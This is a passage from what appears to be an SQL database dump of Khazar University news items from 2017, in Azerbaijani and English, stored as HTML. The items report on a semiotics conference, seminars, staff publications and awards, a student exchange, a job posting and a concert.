Xəzər Universitetini təmsil edən 15 iştirakçı semiotikanın müxtəlif sahələrini əhatə edən maraqlı mövzularda öz çıxışlarını davam etdirdilər.</p><p>Paralel olaraq, 3 sessiyada davam edən konfransda azərbaycanlı çıxışçılarla yanaşı, Gürcüstanın İlia Dövlət Universiteti, Şota Rustaveli Dövlət Universiteti, Tbilisi Dövlət Universiteti, Yakob Qoqebaşvili Dövlət Universiteti, İvane Cavaxişvili Dövlət Universiteti, Akaki Tsereteli Dövlət Universiteti, Tbilisi Klassik Ginmnaziyası, Qori Dövlət Müəllimlər Universiteti və Avropa məktəbini (Almaniya, Bonn) təmsil edən çıxışçılar əsasən ədəbiyyatda və memarlıqda (professor Quram Kipianinin çıxışı) semiotika mövzusuna diqqət çəkdilər.</p><p>Sonda, yekun qeydlər və sessiyalar üzrə mövzuların müzakirə nəticələri haqqında danışmaq üçün söz bölmə üzrə rəhbərlərə verildi.</p><p>Konfransı bağlamaq üçün son söz isə bir daha professor Tsira Barbakadze və professor Hamlet İsaxanlıya verildi. Hər iki tərəf konfransın keçirilmə səviyyəsindən, toxunulan maraqlı mövzulardan məmnunluğunu bildirdi və 8-ci beynəlxalq semiotika konfransı kimi konfransların daha geniş coğrafiyanı əhatə edərək, davamının olmasını arzu etdiklərini, bununla bağlı əməkdaşlığın davam etdirilməsinin vacibliyini vurğuladılar.</p>'),(4371,2592,'az','Vurğun Əyyubla müsahibə yayınlandı','2017-ci il oktyabrın 30-da Publika.az xəbər saytı Xəzər Universiteti Azərbaycan dili və ədəbiyyatı...','<p>2017-ci il oktyabrın 30-da <strong><em>Publika.az</em></strong> xəbər saytı Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müdiri Vurğun Əyyubdan müsahibə almışdır.</p><p>Müsahibəni bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"http://publika.az/projects/xususi/218899.html\">http://publika.az/projects/xususi/218899.html</a>;</p><p><a href=\"http://bugun.az/news/98145/elcibey-soz-demek-isteyende-menden-icaze-alirdi-vurgun-eyyub.html\">http://bugun.az/news/98145/elcibey-soz-demek-isteyende-menden-icaze-alirdi-vurgun-eyyub.html</a>.</p>'),(4372,2593,'az','Psixologiya ixtisasının tələbələri Türkiyə tələbə mübadilə proqramında iştirak etdilər','2017-ci il oktyabrın 22-dan 28-dək Xəzər Universiteti psixologiya ixtisasının tələbələri, “Gənc psixoloqlar” İctimai Birliyinin üzvləri – Aida Nəcəfova...','<p>2017-ci il oktyabrın 22-dan 28-dək Xəzər Universiteti psixologiya ixtisasının tələbələri, “Gənc psixoloqlar” İctimai Birliyinin üzvləri –&nbsp;Aida Nəcəfova, Aysel Əfəndiyeva, Elnurə İsazadə, Aytac Hafizova, Cəmilə Məhərrəmova, Ləman Quliyeva Gənc psixoloqların&nbsp;ilk beynəlxalq mübadilə proqramının ikinci mərhələsi çərçivəsində İşık Universitetinin qonağı oldular.</p><p>Onlar İstanbulda Beşiktaş bələdiyyəsinin qonağı olublar. Beşiktaş bələdiyyəsinin sədri Murat Hazinedarla görüşdə iki ölkənin gənc psixoloqları arasında həyata keçirilən mübadilə proqramı haqqında bələdiyyə sədrinə məlumat verildi. Proqramın çox faydalı və əhəmiyyətli olduğunu vurğulayan Murat Hazinedar bu cür layihələrin davamlı keçirilməsinin məqsədəuyğun olduğunu söyləydi. Daha sonra Beşiktaş bələdiyyəsində psixoloqlar üçün yaradılan şəraitdən və psixoloqların cəmiyyətin psixi sağlamlığında vacib rolu olması haqqında danışıldı. Həmçinin, “Türk Psixoloji Öyrencileri Çalışma Grubu”nun təşkil etdiyi seminar və qrup işlərində mədəni-dünyəvi dəyərlər və psixoloqların rolu haqqında müzakirələr aparıldı.</p>'),(4373,2594,'az','Hamlet İsaxanlı Fransa səfirliyinin təşkil etdiyi ziyafətdə iştirak etdi','2017-ci il oktyabrın 27-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Fransanın...','<p>2017-ci il oktyabrın 27-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Fransanın Azərbaycandakı səfiri xanım Oreliya Buşez (Madam Aurelia Bouchez) tərəfindən təşkil olunmuş şam yeməyində iştirak etdi. Görüşdə ali təhsilin keyfiyyəti, təhsil ocaqları və sənaye-iş dünyası əlaqələri, Fransa-Azərbaycan təhsil əməkdaşlığı, ixtisas təhsili və liberal təhsil arasında tarazlıq kimi məsələlər müzakirə olundu. Hamlet İsaxanlı bu məsələlər barədə danışdı və fikir mübadiləsində iştirak etdi.</p>'),(4374,2595,'az','Xəzər Universitetinin müəllimi Araz Aslanlı beynəlxalq elmi tədbirlərdə iştirak etmişdir','Xəzər Universiteti Tarix və Arxeologiya kafedrasının müəllimi Araz Aslanlı iki beynəlxalq elmi tədbirdə məruzə ilə çıxış...','<p>Xəzər Universiteti Tarix və Arxeologiya kafedrasının müəllimi Araz Aslanlı iki beynəlxalq elmi tədbirdə məruzə ilə çıxış etmişdir.</p><p>Araz Aslanlı əvvəlcə 2017-ci il oktyabrın 23-ü və 24-də Türkiyə Respublikasının Bursa şəhərindəki Uludağ Universitetinin təşkil etdiyi “Dünya siyasətində böhranlar və dəyişikliklər” adlı beynəlxalq konqresdə “Suriya böhranı və Cənubi Qafqaz” adlı məruzə ilə, oktyabrın 26-dan 28-dək Kocaeli Büyükşehir Bələdiyyəsi ilə Kocaeli Universitetinin birgə təşkil etdiyi “15 İyul və dövlət çevrilişləri” adlı beynəlxalq elmi simpoziumda isə “15 iyul dövlət çevrilişi təşəbbüsü və Azərbaycan” adlı məruzə ilə çıxış etmişdir.</p>'),(4375,2596,'az','Xəzər Universitetində “Dünya Tək Sağlamlıq” gününə həsr edilmiş tədbir keçiriləcək','2017-ci il noyabrın 3-ü saat 15:00-da Dünya Tək Sağlamlıq Gününə həsr edilmiş tədbir keçiriləcək. Tədbir Xəzər Universitetinin...','<p>2017-ci il noyabrın 3-ü saat 15:00-da Dünya Tək Sağlamlıq Gününə həsr edilmiş tədbir keçiriləcək. Tədbir Xəzər Universitetinin “Neftçilər” kampusunda konfrans zalında (otaq 201N) keçiriləcək.</p><p>Tək Sağlamlıq nədir? Qısaca olaraq bu, insanlar, heyvanlar, çöl həyatı, bitkilər və bizi əhatə edən ətraf mühitin ən yaxşı sağlamlığına nail olunmasında yerli, milli və qlobal səviyyədə fəaliyyət göstərən müvafiq ixtisaslar və qurumlar ilə birlikdə bir sıra sağlamlıq elmlərinin birgə səyidir.</p><p>Tək Sağlamlığın yüksək priotet sahələri bunlardır:</p><ul><li>Yoluxucu xəstəliklər (Müşahidə, qarşısının alınması və müdaxilə);</li><li>Qida və su təhlükəsizliyi və qorunması (Xəstəliklər və təchizat);</li><li>Ekosistem sağlamlığı (Yabanı həyat, bitkilər və ətraf mühit);</li><li>Antimikrobial rezisdentlik.</li></ul><p>İştirak etmək istəyən hər kəs dəvətlidir.</p>'),(4376,2596,'en','“World One Health” day event to be held at Khazar University','On November 3, 2017 at 3 p.m., Khazar University will hold an event to mark the World One Health Day. The event will be held in...','<p>On November 3, 2017 at 3 p.m., Khazar University will hold an event to mark the World One Health Day. The event will be held in a conference room 201N on the Neftchilar Campus.</p><p>What is One Health? Briefly, it is the collaborative effort of multiple health science professions, together with their related disciplines and institutions operating at local, national and global levels to achieve the best health for humans, animals, wildlife, plants, and our environment.</p><p>One Health high priority areas are:</p><p></p><ul><li>Infectious Diseases (Surveillance, Prevention and Response)</li><li>Safety and Security of Food and Water (Diseases and Supply)</li><li>Ecosystem Health (Wildlife, Plants and Environment)</li><li>Antimicrobial Resistance</li></ul><p></p><p>The event is open to the public.</p>'),(4377,2591,'en','The 8th International Conference on Semiotics successfully held at Khazar University','On October 28, 2017, the 8th International Conference on Semiotics, jointly organized by the Semiotic Research Centre of Ilia State University...','<p>On October 28, 2017, the 8<sup>th</sup> International Conference on Semiotics, jointly organized by the Semiotic Research Centre of Ilia State University, Georgia and Khazar University, was held at Khazar University.</p><p>Speaking at the opening ceremony of the conference, Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, expressed his satisfaction with the International Conference on Semiotics organized in collaboration with Ilia State University, Georgia. He shared his memories of Georgia, and noted that both countries - Azerbaijan and Georgia are&nbsp;very native to him. Professor Tsira Barbakadze, director of the Semiotic Research Centre, thanked for the great support provided by Khazar University for the organization of the conference and emphasised the tight friendly relations between the two countries and presented her valuable gifts to Professor Isakhanli.</p><p>During the plenary session,  the speeches delivered&nbsp;by Prof. Rahila Geybullayeva, the head of the Department of Azerbaijani Language and Literature of&nbsp;Baku Slavic University, and Associate Professor Grigory Jokhadze&nbsp;were truly memorable.</p><p>In total, 15 participants from Azerbaijan, representing Azerbaijan State University of Languages, Azerbaijan State University of Economics, and Khazar University, delivered their speeches on fascinating topics covering different areas of Semiotics.</p><p>In parallel, at a three-session conference, along with Azerbaijani speakers, the participants representing Ilia State University, Shota Rustaveli State University, Tbilisi State University, Iakob Gogebashvili State university, Ivane Javakhishvili State University, Akaki Tsereteli State University, Tbilisi Classic Gymnasium, Gory State Teaching University, European School (Bonn, Germany) focused on Semiotics mainly in Literature and Architecture (Prof. Guram Kipiani\'s speech).</p><p>At the end, the chairs of each session spoke about the outcome of the presentations and discussions conducted in each session.</p><p>The last word to close the conference was once again given to Prof. Tsira Barbakadze and Prof. Hamlet Isakhanli. Both sides expressed satisfaction with the level of the conference and interesting issues touched upon, and emphasised the importance of collaboration in organising conferences, such as the 8<sup>th</sup> International Conference on Semiotics, which would cover a wider geography.</p>'),(4378,2592,'en','Interview with Vurgun Eyyub released','On October 30, 2017, Publika.az news website released the interview with Vurgun Eyyub, Head of the Department...','<p>On October 30, 2017, <strong><em>Publika.az</em></strong> news website released the interview with Vurgun Eyyub, Head of the Department of Azerbaijani Language and Literature at Khazar University.</p><p>The interview is available at:&nbsp;</p><p style=\"background:undefined \"><a href=\"http://publika.az/projects/xususi/218899.html\">http://publika.az/projects/xususi/218899.html</a>;</p><p><a href=\"http://bugun.az/news/98145/elcibey-soz-demek-isteyende-menden-icaze-alirdi-vurgun-eyyub.html\">http://bugun.az/news/98145/elcibey-soz-demek-isteyende-menden-icaze-alirdi-vurgun-eyyub.html</a>.</p>'),(4379,2594,'en','Hamlet Isakhanli attended the dinner organized by the Embassy of France','On October 27, 2017, Prof. Hamlet Isakhanli, Founder of Khazar University, Chairman of the Board of Directors...','<p>On October 27, 2017, Prof. Hamlet Isakhanli, Founder of Khazar University, Chairman of the Board of Directors and Trustees, attended the dinner at the invitation of Madame Aurelia Bouchez, Ambassador of France to Azerbaijan. Quality of higher education, relations between educational institutions and&nbsp;industry-business world, France-Azerbaijan cooperation, equilibrium between specialized education and liberal arts were discussed at the dinner.&nbsp; Prof. Hamlet Isakhanli talked about these issues and participated in discussions.</p>'),(4381,2506,'en','The Course book \"Introduction to Turkology\" published','The course book \"Introduction to Turkology\" by Elza Samadova, an instructor of the Department of Azerbaijani Language...','<p>The course book \"Introduction to Turkology\" by Elza Samadova, an instructor of the Department of Azerbaijani Language and Literature of Khazar University, has been published (Baku 2017) for the students majoring in Azerbaijan language and Literature Teaching and Philology. This book provides information about the history of Turkology and its research areas, its sources, the position of the Turkish language, classification of Turkic languages and their historical sources.</p>'),(4382,2597,'az','İradə Xəlilova \"dosent\" elmi adına layiq görülmüşdür','Xəzər Universitetinin Elmi işlər üzrə prorektoru Dr. İradə Xəlilova Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyası tərəfindən...','<p>Xəzər Universitetinin Elmi işlər üzrə prorektoru Dr. İradə Xəlilova Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyası tərəfindən bioloji elmlər üzrə “dosent” elmi adına layiq görülmüşdür. Bu münasibətlə əməkdaşımızı təbrik edir, ona işlərində uğurlar arzu edirik.</p>'),(4383,2598,'az','Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri üçün məlumatlandırıcı seminar keçirildi','2017-ci ilin oktyabrın 31-də Xəzər Universitetinin layihə koordinatoru və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima...','<p>2017-ci ilin oktyabrın 31-də Xəzər Universitetinin layihə koordinatoru və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova tərəfindən Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri üçün məlumatlandırıcı seminar keçirildi. Seminar zamanı tələbələrə Xəzər Universitetinin tərəfdaş kimi iştirak etdiyi Erasmus+ “<em>Advocacy Establishment for Students through Ombudsman Position</em>” (AESOP) layihəsi, layihə çərçivəsində görülmüş və planlaşdırılmış fəaliyyətlər haqqında məlumat verildi.</p><p>Seminar zamanı həmçinin Xəzər Universitetində fəaliyyət göstərən Əlilliyi olan Tələbələr üçün Mərkəz haqqında geniş təqdimat olundu və Mərkəzin təklif etdiyi xidmətlər haqqında da tələbələrə məlumat verildi.</p>'),(4384,2599,'az','“İslam fəlsəfəsində elm-din münasibəti” adlı seminar təşkil edildi','2017-ci il oktyabrın 31-də Xəzər Universiteti Dillər və mədəniyyətlər kafedrası tərəfindən “İslam fəlsəfəsində elm-din münasibəti” adlı seminar...','<p>2017-ci il oktyabrın 31-də Xəzər Universiteti Dillər və mədəniyyətlər kafedrası tərəfindən “İslam fəlsəfəsində elm-din münasibəti” adlı seminar təşkil edildi. Seminarda Türkiyə Respublikası Sivas şəhərindəki Cumhuriyyət Universitetinin dosenti Dr. Hasan Özalp İslam fəlsəfəsində elm və din əlaqələri haqqında çıxış etdi. Universitetin fəlsəfə müəllimi fəl. ü. f. d. Mail Yaqub da bu mövzuya toxunaraq maraqlı fikirlər səsləndirdi. Dillər və mədəniyyətlər departamentinin əməkdaşları ilah.ü.f.d., dosentt Elnurə Əzizova, fil.ü.f.d. Zivər Hüseynli Baylan, Ləman Ələsgərova və universitetin tələbələri iştirak etmişdirlər.</p>'),(4385,2600,'az','Humanitar və sosial elmlər fakültəsinin tələbələri üçün məlumatlandırıcı seminar keçirildi','2017-ci ilin oktyabrın 31-də Xəzər Universitetinin layihə koordinatoru və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima...','<p>2017-ci ilin oktyabrın 31-də Xəzər Universitetinin layihə koordinatoru və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova tərəfindən Humanitar və sosial elmlər fakültəsinin tələbələri üçün məlumatlandırıcı seminar keçirildi. Seminar zamanı tələbələrə Xəzər Universitetinin tərəfdaş kimi iştirak etdiyi Erasmus+ “<em>Advocacy Establishment for Students through Ombudsman Position</em>” (AESOP) layihəsi, layihə çərçivəsində görülmüş və planlaşdırılmış fəaliyyətlər haqqında məlumat verildi.</p><p>Seminar zamanı həmçinin Xəzər Universitetində fəaliyyət göstərən Əlilliyi olan Tələbələr üçün Mərkəz haqqında geniş təqdimat olundu və Mərkəzin təklif etdiyi xidmətlər haqqında da tələbələrə məlumat verildi.</p>'),(4386,2601,'az','“İmtahan stresi ilə başaçıxma yolları” adlı seminar təşkil edildi','2017 ci il oktyabrın 31-də Xəzər Universiteti Psixologiya Departamenti və Xəzər Psixoloji Xidmət Mərkəzi...','<p>2017 ci il oktyabrın 31-də Xəzər Universiteti Psixologiya Departamenti və Xəzər Psixoloji Xidmət Mərkəzi imtahanların yaxınlaşması ilə əlaqədar “İmtahan stresi ilə başaçıxma yolları” adlı seminar təşkil etdi. Seminarda Xəzər Psixoloji Xidmət Mərkəzinin direktoru Ph.D.(c) Mələk Kərimova tələbələrə imtahan öncəsi, imtahanda və imtahandan sonra həyəcanla başaçıxma yolları ilə əlaqədar təkliflər verdi. İmtahan həyəcanına təsir edən faktorlar arasında çalışma intizamının zəifliyi, zamanı idarə edə bilməmə, imtahanla əlaqədar funksional olmayan düşüncələr və s. ilə əlaqədar ətraflı müzakirələr aparılaraq, tələbələrin suallarına cavab verildi. Tələbələr bu tip seminarların imtahandan əvvəl faydalı olduğunu və&nbsp;xüsusi yönləndirmələrə ehtiyac hiss etdiklərini qeyd etdilər. Xəzər Psixoloji Xidmət Mərkəzi tələbələrin sosial, psixoloji, mənəvi inkişafını dəstəkləyici tədbirləri mütəmadi keçirməyi nəzərdə tutur.</p>'),(4387,2602,'az','StartUp layihəsinin birinci və ikinci mərhələləri yekunlaşdı','2017-ci ilin oktyabr ayında Xəzər Universitetində keçirilən StartUp layihəsinin...','<p>2017-ci ilin oktyabr ayında Xəzər Universitetində keçirilən StartUp layihəsinin birinci və ikinci mərhələləri yekunlaşdı. İştirakçıların 14 nəfəri 3-cü mərhələyə keçib. Bu tələbələrin on biri Xəzər Universitetini, biri Odlar Yurdu Universitini və ikisi Bakı Ali Neft Məktəbini təmsil edirlər.</p><p>3-cü mərhələdə liştirakçıların təqdimatlarının qiymətləndirilməsi və bir həftə ərzində qaliblərin müəyyənləşdirilməsi nəzərdə tutulur.</p>'),(4398,2605,'az','Azərbaycan dili və ədəbiyyatı departamenti assistent vəzifəsini tutmaq üçün müsabiqə elan edir','Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamenti assistent vəzifəsini tutmaq...','<p>Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamenti assistent vəzifəsini tutmaq üçün müsabiqə elan edir. Müsabiqədə ən azı bakalavr təhsilli şəxslər iştirak edə bilərlər. Assistentin görəcəyi işlər bunlardır: departamentin sənədləşmə işlərini aparmaq, departamentin müəllimlərinin sillabuslarını, imtahan suallarını toplamaq, çap etmək, imtahanlarda nəzarətçi olaraq iştirak etmək, departamentin vebsaytını idarə etmək, departamentlə bağlı gündəlik işləri yerinə yetirmək və s.</p><p>Müsabiqədə iştirak etmək istəyənlər Azərbaycan dilini mükəmməl şəkildə bilməli, ingilis dilində olan mətnləri başa düşməli, kompüter proqramlarında işləməyi bacarmalıdırlar. Namizəd məsuliyyətli olmalı, işləri vaxtlı-vaxtında və peşəkarlıqla görməlidir.</p><p>Müsabiqədə iştirak etmək istəyənlər məktub və CV-ni <span style=\"color:#0000cc;text-decoration:underline\">veyyub@khazar.org</span> elektron poçt ünvanına göndərsinlər.</p><p>Son müraciət tarixi 2017-ci il noyabrın 15-dir.</p>'),(4592,2704,'en','Build Your Future Project Participants at Khazar University','On December 3, 2017, Build Your Future Youth Support Project held an event dedicated to one of the six project values on Neftchiler...','<p>On December 3, 2017, Build Your Future Youth Support Project held an event dedicated to one of the six project values on Neftchiler campus of Khazar University.</p><p>Turan Jafarova, Director of International Affairs Office opened the event by welcoming all participants and guests, providing information about the project and reviewing the event’s agenda.</p><p>The event started with a session on Health, Safety, and Environment which was delivered by Rauf Jahangirov, project volunteer. Bahruz Hidayatzade, project manager, delivered a presentation about the six values of the project and paid specific attention to responsibility. Isakhan Isakhanli, Vice-rector for Administration and Student Affairs, gave a presentation about Khazar University, programs it offers, university’s resources, scholarship opportunities, and other important information. Alumni of the Build Your Future Project who are currently studying at Khazar University presented short speeches about the student life at Khazar University, their participation in the project, and shared personal recommendations on how to make the most out of participation in the project and how to prepare to the university admission exam effectively.</p><p>After a short coffee break, the event continued with a speech about responsibility by the Founder of Khazar University and the Chairman of its Board of Directors and Trustees Professor Hamlet Isakhanli. Professor Isakhanli also spoke about the history of the establishment of Khazar University. Manager of the project Bahruz Hidayatzade presented a diploma to Professor Hamlet Isakhanli and thanked him for continuous support and cooperation. It should be noted that in the current academic year of 2017-2018, Khazar University became the top selected university among alumni of the project – 25 project alumni started their programs at Khazar University in September 2017.</p><p>Dr. Elza Semedli, Dean of School of Education, spoke about the characteristics of a responsible person. Participants watched several short videos about responsibility and had a discussion afterwards.</p><p>Other speakers of the event included Javid Imamoglu (trainer and co-founder of “Ugur Akademiya”), Joshqun Karimov (trainer and author), and Khaqani Safarov (HR Specialist at Gilan Holding).</p><p>Currently in its 4<sup>th</sup> year, Build Your Future is a project carried out within the Corporate Social Responsibility policy of numerous local and international companies and aims at sustainable development of Azerbaijani youth through enabling their access to higher education. One hundred and twenty-five young people supported by the project in its 3<sup>rd</sup> year had entered local universities. This year, the project works with more than 200 young people from disadvantaged families who were selected among more than 2100 applicants.</p>'),(4389,2603,'az','İqtisadiyyat və menecment fakültəsinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin dekan müavini, Dr. Şəhriyar Muxtarovun...','<p>Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin dekan müavini, Dr. Şəhriyar Muxtarovun “<em>Does Urbanization Boost Pollution From Transport?</em>” adlı məqaləsi Mendulu Universitetinin “Acta Universitatis Agriculturae et Silviculturae Mendelianae Brunensis” jurnalının 2017-ci il 5-ci sayı, 65-ci buraxılışında çap edilmişdir. Sözü gedən jurnal SCOPUS (Elsevier B. V.) və Zoological Record (Thomson Scientific, Inc.) kimi nüfuzlu məlumat bazalarında indekslənir.</p><p>Məqalədə Azərbaycanda 1990-2014-cü illər dövrü üçün urbanizasiyanın, enerji istehlakı və iqtisadi inkişafın avtomobil nəqliyyat sektorundan atmosfer çirklənməsinə təsirləri STIRPAT modeli çərçivəsində qiymətləndirilmişdir. Məqalə nəticələri dəyişənlər arasında urbanizasyanın çirklənmə üzərində ən böyük təsirə malik olduğunu ortaya çıxarmışdır. Tədqiqat nəticələri bir daha göstərmişdir ki, davamlı inkişafa ancaq ətraf mühit, sosial və iqtisadi amillər arasındakı tarazlığın qorunması ilə nail olmaq mümkündür.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://acta.mendelu.cz/65/5/1709/\">https://acta.mendelu.cz/65/5/1709/</a>.</p>'),(4390,2603,'en','An article by a member of School of Economics and Management published','A research paper entitled “Does Urbanization Boost Pollution from Transport?” developed by Shahriyar Mukhtarov...','<p>A research paper entitled “<em>Does Urbanization Boost Pollution from Transport?</em>” developed by Shahriyar Mukhtarov, vice dean of the School of Economics and Management, has been published in the 5<sup>th</sup> number, 65<sup>th</sup> volume of the “Acta Universitatis Agriculturae et Silviculturae Mendelianae Brunensis” journal of Mendelu University in Brno. The journal is indexed in major databases as SCOPUS (Elsevier B. V.) and Zoological Record (Thomson Scientific, Inc.) and so on.</p><p>The study examines the impacts of urbanization, energy consumption and real GDP on atmospheric pollution from automobile transport in Azerbaijan in the STIRPAT framework. The results of study found the highest impact on pollution among the variables belongs to urbanization which is positive and statistically significant. The results also revealed that sustainable development can be reached only keeping the balance among environmental, social and economic factors.</p><p>The article can be read through this link:</p><p><a href=\"https://acta.mendelu.cz/65/5/1709/\">https://acta.mendelu.cz/65/5/1709/</a>.  <br></p>'),(4392,2514,'en','Representatives of State Fire Service visited Khazar University','On October 12, 2017, a meeting of the instructors and students with the representatives of the State Fire Service of the Ministry...','<p>On October 12, 2017, a meeting of the instructors and students with the representatives of the State Fire Service of the Ministry of Emergency Situations was held at the Marble Hall of Khazar University.</p><p>Alovsat Amirbeyli, Director for Public Relations and Media, introduced the representatives of the Ministry of Emergency Situations to the audience and gave detailed information about emergency situations.</p><p>Major Khanlar Mahmudov, Senior Inspector of the 3rd State Land Control Office of State Fire Service of the Ministry of Emergency Situations, made a report on the fire safety of educational institutions. After the report, he answered the questions of the students and instructors.</p><p>The meeting was also attended by Major Tofig Muvaffagi, the Senior Inspector of that office and Captain Ramil Safarov, Chief officer of Baku Regional Center of the Ministry of Emergency Situations and other guests.</p><p>Memory photos were taken at the end of the meeting.</p>'),(4393,2600,'en','Informative Seminar held for the Students of the School of Humanities and Social Sciences','On October 31, 2017, an informative seminar for the students of the School of Humanities and Social Sciences was held by Rima...','<p>On October 31, 2017, an informative seminar for the students of the School of Humanities and Social Sciences was held by Rima Mammadova, the project manager of the University and Coordinator of the Center for the Students with Disabilities. During the seminar, the students were informed about Erasmus+ AESOP (<em>Advocacy Establishment for Students through Ombudsman Position</em>) project, in which Khazar university participated as a partner, as well as the activities implemented within the framework of the project and the ones planned to be carried out in the future.</p><p>In the seminar, a presentation on the Centre for the Students with Disabilities was delivered and the students were informed about the services offered by the centre.</p>'),(4394,2597,'en','Irada Khalilova has been awarded the title of “Associate Professor”','Dr Irada Khalilova, the Vice-President for Scientific Research at Khazar University has been awarded the title of Associate...','<p>Dr Irada Khalilova, the Vice-President for Scientific Research at Khazar University has been awarded the title of Associate Professor in Biological Sciences by the Higher Attestation Commission under the President of the Republic of Azerbaijan. We take this opportunity to congratulate our colleague on this occasion and wish her continued success and prosperity in her career.</p>'),(4395,2599,'en','A Seminar organized on “The Relationship between Religion and Science in Islamic Philosophy”','On October 31, 2017, a seminar on “The relationship between Religion and Science in Islamic Philosophy” was organized...','<p>On October&nbsp;31, 2017, a seminar on “The relationship between Religion and Science in Islamic Philosophy” was organized by the Department of Languages and Civilizations, Khazar University.</p><p>Dr. Hasan Ozalp, an Associate Professor of ‘Cumhuriyet University’ in Sivas, Turkey, spoke about the connection between religion and science. Mail Yagubov, Ph.D in Philosophy, an instructor of Philosophy at Khazar University also came up with interesting ideas concerning the subject.</p><p>The staff members of the Department of Languages and Civilizations, such as Elnura Azizova, Associate Professor and Ph.D in Religious Studies and Theology, Ziver Huseynli Baylan, Ph.D in Philology, Leman Aleskerova and the university students participated in the seminar.</p>'),(4626,2744,'az','Azərbaycan dili və ədəbiyyatı departamentinin əməkdaşının məqaləsi “Milli folklor” jurnalında','Azərbaycan dili və ədəbiyyat departamentinin əməkdaşı, fil.ü.f.d., dos. Elmira Məmmədova-Kekeçin Türkiyə Cümhuriyyətində nəşr...','<p>Azərbaycan dili və ədəbiyyat departamentinin əməkdaşı, fil.ü.f.d., dos. Elmira Məmmədova-Kekeçin Türkiyə Cümhuriyyətində nəşr olunan “Milli folklor” jurnalında “Əhməd Yəsəvinin vücudnaməsində müdrik qoca arxetipi” adlı məqaləsi çap olunmuşdur. “Milli folklor” jurnalı THOMPSON REUTERS, A&amp;HCI, SCOPUS ve TÜBITAK/ULABİM kimi müxtəlif indekslərdə qeydiyyata alınmışdır. Məqalənin tam mətni ilə aşağıdakı linkdən tanış ola bilərsiniz:  </p><p><a href=\"http://www.millifolklor.com/\">http://www.millifolklor.com/</a></p>'),(4396,2604,'az','Rektor birinci kurs tələbələri ilə görüşdü','Oktyabrın 26-da Xəzər Universitetinin rektoru Dr. Hassan Niknafs universitetin Mərmər salonunda Humanitar və sosial elmlər...','<p>Oktyabrın 26-da Xəzər Universitetinin rektoru Dr. Hassan Niknafs universitetin Mərmər salonunda Humanitar və sosial elmlər fakültəsinin birinci kurs tələbələri ilə görüş keçirdi. H.Niknafs görüşdə tələbələrə Xəzər Universitetini seçdikləri üçün təşəkkürünü bildirdi, onları tələbə adını qazanmaları münasibətilə təbrik etdi və universitetin daxili nizam-intizamı, eləcə də, imtahan qaydaları ilə bağlı məlumat verdi.</p><p>Sonra fakültənin dekanı dosent Cabir Xəlilov çıxış edərək, onlara həm dərslərində, həm də imtahanlarda uğurlar arzuladı. Sonda tələbələrin sualları cavablandırıldı.</p>'),(4397,2602,'en','First and Second Stages of the StartUp Project Completed','In October, 2017, the 2nd and 3rd stages of the StartUp project, held at Khazar University, successfully...','<p>In October, 2017, the 2<sup>nd</sup> and 3<sup>rd</sup> stages of the StartUp project, held at Khazar University, successfully ended. 14 candidates have passed to the 3rd stage. Eleven of these students represent Khazar University, one candidate represents Odlar Yurdu University and two candidates represent Baku Higher Oil School.</p><p>At the third stage, the members of the commission are expected to evaluate the participants\' presentations and announce the winners within a week.</p>'),(4400,2607,'az','Vurğun Əyyub müdirindən danışdı','2017-ci il noyabrın 2-də publika.az xəbər saytında Kəramət Böyükçölün “Müdirimi tərifləmək istəyirəm...','<p>2017-ci il noyabrın 2-də <strong><em>publika.az</em></strong> xəbər saytında Kəramət Böyükçölün “Müdirimi tərifləmək istəyirəm...” adlı köşə yazısı yayınlanmışdır. Yazı Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı haqqında universitetin&nbsp;Azərbaycan dili və ədəbiyyatı departamentinin müdiri Vurğun Əyyubun söylədiyi fikirlər əsasında qurulmuşdur.</p><p>Köşə yazısını bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://publika.az/news/koshe/219353.html\">http://publika.az/news/koshe/219353.html</a>.</p>'),(4399,2606,'az','KİM Mühəndislik və tətbiqi elmlər fakültəsinin I kurs tələbələri üçün təqdimat keçirdi','2017-ci il oktyabrın 31-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin I kurs tələbələri üçün Kitabxana...','<p>2017-ci il oktyabrın 31-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin I kurs tələbələri üçün Kitabxana-İnformasiya Mərkəzinin əməkdaşları Samirə Orucova və Esmira Hüseynova “Kitabxanadan istifadə qaydaları” və “Kitabxana-İnformasiya Mərkəzinin elektron resurslarından necə istifadə etməli” adlı təqdimat keçirdilər.</p>'),(4401,2608,'az','Fidan Hacıyeva adına Musiqi Məktəbi tələbələrinin “Xəzər”də konserti','2017-ci il oktyabrın 26-da Xəzər Universitetinin Mərmər salonunda Fidan Hacıyeva adına Musiqi Məktəbi tələbələrinin...','<p>2017-ci il oktyabrın 26-da Xəzər Universitetinin Mərmər salonunda Fidan Hacıyeva adına Musiqi Məktəbi tələbələrinin konserti keçirildi. Konsertdə universitetin rəhbərliyi, əməkdaşları və tələbələri iştirak edirdilər.</p><p>Konsertdə fortepianonun müşayiəti ilə (Şahin Yəhyazadə) məktəbin müəllimi Arzu Qurbanova, tələbələr – Leyla Qürbətli, Orxan Cabbarov, Ariz Nəbiyev, Mətləb Ağayev, Rəna Cəfərzadə, Nəzrin Həsənzadə, Bob Petrie və başqaları Azərbaycan və Avropa bəstəkarlarının vokal əsərlərini ifa 